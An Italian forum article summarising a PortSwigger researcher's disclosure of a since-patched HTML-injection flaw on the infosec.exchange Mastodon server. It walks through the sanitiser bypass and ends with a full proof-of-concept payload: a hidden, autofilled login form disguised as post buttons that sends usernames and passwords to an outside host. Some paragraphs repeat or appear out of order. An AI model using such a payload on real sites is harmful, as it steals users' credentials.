Ultima modifica:
La storia di come un ricercatore di PortSwigger abbia individuato una falla che permettesse di rubare le credenziali degli utenti di Mastodon senza la necessità di bypassare il CSP, utilizzando una vulnerabilità HTML Injection.

Rubare le password da Mastodon senza bypassare il CSP
Tratto da Stealing passwords from infosec Mastodon - without bypassing CSP, PortSwigger
Indice:
1 Cos'è Mastodon
Mastodon è una piattaforma social che sta prendendo molto piede ultimamente, soprattutto a seguito dell'acquisizione di Twitter da parte di Elon Musk. Ciò che lo caratterizza è il fatto di essere open source e completamente decentralizzato: ognuno può scaricare il codice del software ed hostarne la propria istanza online.
Vista la natura del prodotto e visto che non esiste una sola, singola, istanza, sono nati diversi server ognuno dei quali ha regole diverse e tratta tematiche differenti (alcuni dei quali puoi trovarli nell'elenco ufficiale del sito). Ciò però non comporta alcun limite per gli utenti della piattaforma: la peculiarità di questo sistema risiede nella federazione tra i vari server, che consentono ad ogni utente registrato su una certa istanza, di accedere, interagire e seguire utenti appartenenti ad altre istanze.
Tralasceremo ulteriori dettagli sulla piattaforma poiché non sono strettamente collegati all'argomento del topic, ma per maggiori informazioni e approfondimenti sulla piattaforma consiglio a tutti di dare una visione al seguente video e documentarsi ulteriormente in autonomia:
Vista la natura del prodotto e visto che non esiste una sola, singola, istanza, sono nati diversi server ognuno dei quali ha regole diverse e tratta tematiche differenti (alcuni dei quali puoi trovarli nell'elenco ufficiale del sito). Ciò però non comporta alcun limite per gli utenti della piattaforma: la peculiarità di questo sistema risiede nella federazione tra i vari server, che consentono ad ogni utente registrato su una certa istanza, di accedere, interagire e seguire utenti appartenenti ad altre istanze.
Tralasceremo ulteriori dettagli sulla piattaforma poiché non sono strettamente collegati all'argomento del topic, ma per maggiori informazioni e approfondimenti sulla piattaforma consiglio a tutti di dare una visione al seguente video e documentarsi ulteriormente in autonomia:
2 La falla
All'interno del server infosec.exchange (ma potenzialmente anche altri server Mastodon con la stessa configurazione) era possibile abilitare l'utilizzo di codice HTML e Markdown per la creazione dei "toot" (i corrispettivi tweet su Twitter). In genere, consentire di scrivere codice HTML all'interno dei post su un social non è mai una buona idea, soprattutto se non è stato implementato un meccanismo di filtering robusto (come è stato constatato successivamente). Di seguito la porzione di sorgente specifica per il filtering:
mastodon/sanitize_config.rb at main · glitch-soc/mastodon
A glitchy but lovable microblogging server. Contribute to glitch-soc/mastodon development by creating an account on GitHub.
A seguito di diverse ricerche, Gareth (il ricercatore) è riuscito a identificare un parametro utilizzabile per iniettare del codice senza HTML senza che il filtro di sanificazione entrasse in funzione:
Input:
HTML:
<abbr title="<img src=1 onerror=...>">test</abbr>
HTML:
<abbr title="<img src=1 onerror=...>">test</abbr>
In questo modo Gareth aveva a disposizione una primitiva che gli permettesse di iniettare qualsiasi tag HTML a proprio piacimento. Arrivati a questo punto l'obiettivo principale era quello di riuscire ad evadere dall'attributo
E' qui che ha inizio la vera magia!
Gareth si è accorto che alcuni profili disponevano della famosa "spunta blu" simil-twitter, e che tale spunta blu era il risultato dell'icona
abbr
ed iniettare effettivamente il payload all'interno dell'applicazione. Purtroppo (o per fortuna) sia tag isolati che apici e doppi apici venivano rimossi o gestiti correttamente dal filtro sui contenuti.E' qui che ha inizio la vera magia!
Gareth si è accorto che alcuni profili disponevano della famosa "spunta blu" simil-twitter, e che tale spunta blu era il risultato dell'icona
:verified:
, tramutata successivamente in un'immagine dal server:
HTML:
<img draggable="false" class="emojione custom-emoji" alt=":verified:" … >
Qui il lampo di genio: è possibile utilizzare questa icona per "rompere" l'attributo
abbr
ed iniettare del codice arbitrario?
HTML:
<abbr title="<a href='https://blah'>:verified:</a><iframe src=//garethheyes.co.uk/>">
HTML:
<abbr title="<a href='https://blah</a>'><img draggable=" false" ... ><iframe src=//garethheyes.co.uk/>
Grazie ai doppi apici iniettati dalla trasformazione dell'icona in immagine era possibile evadere dall'attributo
title
ed iniettare qualsiasi tag HTML a proprio piacimento! Il meccanismo di filtering era stato completamente arginato!3 Bypassare il CSP? No grazie!
Trovato il giusto payload era solo questione di rendere l'attacco il più pericoloso e utile possibile. Grazie ad una configurazione dell'header
Il passo successivo è stato quello di sfruttare l'autofill di Chrome per verificare se il form venisse compilato in automatico, nonostante fosse embeddato in un dominio diverso. Il risultato? Certo che sì, e senza alcuna interazione da parte dell'utente! Una volta catturata la password non restava altro che creare un pulsante, il più convincente possibile, su cui cliccare. La soluzione migliore è stata quell di falsificare la barra degli strumenti sotto il "tweet", in modo da ingannare un utente a rispondere, salvare o condividere un post, di fatto cliccando sul bottone "malevolo" e inviando così le credenziali all'attaccante.
frame-src
molto blanda risultava possibile iniettare qualsiasi sito web in HTTPS utilizzando il tag iframe
. Così facendo era possibile spoofare qualiasi form di un qualsiasi sito web, di fatto embeddandolo all'interno di Mastodon.Il passo successivo è stato quello di sfruttare l'autofill di Chrome per verificare se il form venisse compilato in automatico, nonostante fosse embeddato in un dominio diverso. Il risultato? Certo che sì, e senza alcuna interazione da parte dell'utente! Una volta catturata la password non restava altro che creare un pulsante, il più convincente possibile, su cui cliccare. La soluzione migliore è stata quell di falsificare la barra degli strumenti sotto il "tweet", in modo da ingannare un utente a rispondere, salvare o condividere un post, di fatto cliccando sul bottone "malevolo" e inviando così le credenziali all'attaccante.
Ultimo step: rendere il form invisibile. Ma in che modo?
A causa di un CSP molto stringente l'unico modo era quello di cercare all'interno del CSS di Mastodon una classe con
opacity:0
e sperare che l'autofiller continuasse ad auto-completare il form. Fortunatamente entrambe le speranze non sono state vane e hanno permesso così al ricercatore di creare un payload 100% funzionante e "wormable", in grado di raccogliere credenziali e riproporre il vettore per ogni utente.4 PoC
HTML:
<abbr title="<a href='https://blah'>:verified:</a></abbr>
<form action=//portswigger-labs.net/mastodon-demo>
<input name=username class=react-toggle-track-check>
<input type=password name=password class=react-toggle-track-check>
<div class='status__action-bar'><button type=submit aria-label='Reply' title='Reply' class='status__action-bar-button icon-button' tabindex='0'>
<i role='img' class='fa fa-reply fa-fw' aria-hidden='true'></i>
</button>
<button type=submit aria-label='Boost' aria-pressed='false' title='Boost' class='status__action-bar-button icon-button' tabindex='0' ><i role='img' class='fa fa-retweet fa-fw' aria-hidden='true'></i>
</button><button type=submit aria-label='Favourite' aria-pressed='false' title='Favourite' class='status__action-bar-button star-icon icon-button' tabindex='0'><i role='img' class='fa fa-star fa-fw' aria-hidden='true'></i>
</button><button type=submit aria-label='Bookmark' aria-pressed='false' title='Bookmark' class='status__action-bar-button bookmark-icon icon-button' tabindex='0'>
<i role='img' class='fa fa-bookmark fa-fw' aria-hidden='true'></i> </button>
<div class='status__action-bar-dropdown'><button type=submit aria-label='Menu' title='Menu' class='icon-button' tabindex='0'><i role='img' class='fa fa-ellipsis-h fa-fw' aria-hidden='true'></i> </button></div>
</div>">

5 Risorse esterne

Stealing passwords from infosec Mastodon - without bypassing CSP
The story of how I could steal credentials on Infosec Mastodon with a HTML injection vulnerability, without needing to bypass CSP. Everybody on our Twitter feed seemed to be jumping ship to the infose

Mastodon users vulnerable to password-stealing attacks
Patched bug could have leaked credentials
Vedi: https://www.reddit.com/r/netsec/comments/yvzaxb/stealing_passwords_from_infosec_mastodon_without/
Made with ❤ for Inforge